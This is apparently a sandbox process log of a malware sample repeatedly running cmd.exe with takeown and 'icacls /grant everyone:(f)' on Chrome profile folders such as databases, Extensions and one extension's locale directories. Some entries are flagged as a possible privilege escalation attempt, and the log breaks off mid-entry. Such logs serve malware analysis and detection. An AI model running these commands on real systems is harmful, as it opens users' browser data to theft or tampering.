- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm /grant everyone:(f)
  2⤵
  PID:2308
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm
    3⤵
    - Possible privilege escalation attempt
    PID:2944
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm\index-dir && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm\index-dir /grant everyone:(f)
  2⤵
  PID:4464
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm\index-dir
    3⤵
    PID:1316
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\commerce_subscription_db && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\commerce_subscription_db /grant everyone:(f)
  2⤵
  PID:1520
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\commerce_subscription_db
    3⤵
    PID:2484
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\coupon_db && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\coupon_db /grant everyone:(f)
  2⤵
  PID:3516
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\coupon_db
    3⤵
    PID:3156
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\databases && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\databases /grant everyone:(f)
  2⤵
  PID:2164
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\databases
    3⤵
    PID:3760
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\DawnCache && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\DawnCache /grant everyone:(f)
  2⤵
  PID:4044
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\DawnCache
    3⤵
    PID:3220
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\discounts_db && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\discounts_db /grant everyone:(f)
  2⤵
  PID:2312
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\discounts_db
    3⤵
    PID:4468
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Download Service && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Download Service /grant everyone:(f)
  2⤵
  PID:3952
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Download Service
    3⤵
    PID:752
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Download Service\EntryDB && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Download Service\EntryDB /grant everyone:(f)
  2⤵
  PID:3996
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Download Service\EntryDB
    3⤵
    PID:2260
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Download Service\Files && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Download Service\Files /grant everyone:(f)
  2⤵
  PID:3708
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Download Service\Files
    3⤵
    PID:3320
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extension Rules && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extension Rules /grant everyone:(f)
  2⤵
  PID:2684
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extension Rules
    3⤵
    PID:4240
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extension Scripts && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extension Scripts /grant everyone:(f)
  2⤵
  PID:4624
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extension Scripts
    3⤵
    PID:4524
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extension State && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extension State /grant everyone:(f)
  2⤵
  PID:4048
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extension State
    3⤵
    - Possible privilege escalation attempt
    PID:3700
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions /grant everyone:(f)
  2⤵
  PID:3344
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions
    3⤵
    PID:4788
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi /grant everyone:(f)
  2⤵
  PID:4132
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi
    3⤵
    PID:1468
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0 && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0 /grant everyone:(f)
  2⤵
  PID:1508
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0
    3⤵
    PID:4088
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales /grant everyone:(f)
  2⤵
  PID:2484
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales
    3⤵
    PID:4600
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\af && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\af /grant everyone:(f)
  2⤵
  PID:4436
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\af
    3⤵
    PID:4724
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\am && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\am /grant everyone:(f)
  2⤵
  PID:1856
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\am
    3⤵
    PID:3220
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\ar && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\ar /grant everyone:(f)
  2⤵
  PID:3864
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\ar
    3⤵
    PID:4084
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\az && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\az /grant everyone:(f)
  2⤵
  PID:944
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\az
    3⤵
    PID:740
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\be && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\be /grant everyone:(f)
  2⤵
  PID:1208
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\be
    3⤵
    PID:1596
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\bg && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\bg /grant everyone:(f)
  2⤵
  PID:4616
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\bg
    3⤵
    PID:3320
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\bn && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\bn /grant everyone:(f)
  2⤵
  PID:3112
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\bn
    3⤵
    PID:1364
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\ca && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\ca /grant everyone:(f)
  2⤵
  PID:1828
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\ca
    3⤵
    PID:4524
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\cs && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\cs /grant everyone:(f)
  2⤵
  PID:3580
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\cs
    3⤵
    PID:4852
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\cy && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\cy /grant everyone:(f)
  2⤵
  PID:1056
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\cy
    3⤵
    PID:4060
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\da && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\da /grant everyone:(f)
  2⤵
  PID:1120
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\da
    3⤵
    PID:748
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\de && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\de /grant everyone:(f)
  2⤵
  PID:4596
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\de
    3⤵
    PID:3680
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\el && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\el /grant everyone:(f)
  2⤵
  PID:3988
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\el
    3⤵
    PID:1752
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\en && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\en /grant everyone:(f)
  2⤵
  PID:1756
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\en
    3⤵
    PID:920
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\en_CA && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\en_CA /grant everyone:(f)
  2⤵
  PID:4800
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\en_CA
    3⤵
    PID:3220
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\en_GB && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\en_GB /grant everyone:(f)
  2⤵
  PID:4200
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\en_GB
    3⤵
    PID:2304
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\en_US && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\en_US /grant everyone:(f)
  2⤵
  PID:220
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\en_US
    3⤵
    PID:2544
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\es && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\es /grant everyone:(f)
  2⤵
  PID:1596
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\es
    3⤵
    PID:2296
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\es_419 && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\es_419 /grant everyone:(f)
  2⤵
  PID:4812
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\es_419
    3⤵
    PID:2916
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\et && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\et /grant everyone:(f)
  2⤵
  PID:772
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\et
    3⤵
    PID:3048
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\eu && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\eu /grant everyone:(f)
  2⤵
  PID:4240
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\eu
    3⤵
    PID:2960
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\fa && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\fa /grant everyone:(f)
  2⤵
  PID:3700
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\fa
    3⤵
    PID:3344
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\fi && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\fi /grant everyone:(f)
  2⤵
  PID:3868
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\fi
    3⤵
    PID:3024
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\fil && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\fil /grant everyone:(f)
  2⤵
  PID:4412
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\fil
    3⤵
    PID:4716
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\fr && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\fr /grant everyone:(f)
  2⤵
  PID:4088
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\fr
    3⤵
    PID:3844
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\fr_CA && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\fr_CA /grant everyone:(f)
  2⤵
  PID:4724
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\fr_CA
    3⤵
    PID:1756
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\gl && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\gl /grant everyone:(f)
  2⤵
  PID:920
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\gl
    3⤵
    PID:4340
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\gu && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\gu /grant everyone:(f)
  2⤵
  PID:1856
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\gu
    3⤵
    PID:4888
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\hi && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\hi /grant everyone:(f)
  2⤵
  PID:4744
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\hi
    3⤵
    PID:740
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\hr && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\hr /grant everyone:(f)
  2⤵
  PID:696
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\hr
    3⤵
    PID:2520
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\hu && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\hu /grant everyone:(f)
  2⤵
  PID:3952
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\hu
    3⤵
    PID:4288
- C:\Windows\System32\cmd.exe
